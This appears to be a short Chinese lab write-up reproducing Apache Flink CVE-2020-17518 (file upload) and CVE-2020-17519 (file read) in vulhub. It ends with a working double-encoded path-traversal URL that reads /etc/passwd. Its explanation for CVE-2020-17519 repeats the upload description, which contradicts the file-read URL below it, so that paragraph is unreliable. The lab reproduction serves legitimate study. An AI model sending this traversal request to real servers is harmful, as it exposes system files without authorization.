vulhub漏洞复现-Apache Flink(CVE-2020-17518 CVE-2020-17519)任意文件上传/读取

Apache Flink

Apache Flink 是一个分布式系统，它需要计算资源来执行应用程序。Flink 集成了所有常见的集群资源管理器，例如 Hadoop YARN、 Apache Mesos 和 Kubernetes，但同时也可以作为独立集群运行。

CVE-2020-17518

思路

Apache Flink 控制面板的Submit New Job处存在任意文件上传，利用REST API，可以修改HTTP头，将上传的文件写入到本地文件系统上的任意位置

漏洞复现

上传后抓包

进入后台查看

CVE-2020-17519

思路

Apache Flink 1.5.1引入了REST处理程序，该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。

漏洞复现

创建好环境后直接访问

http:/x.x.x.x:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd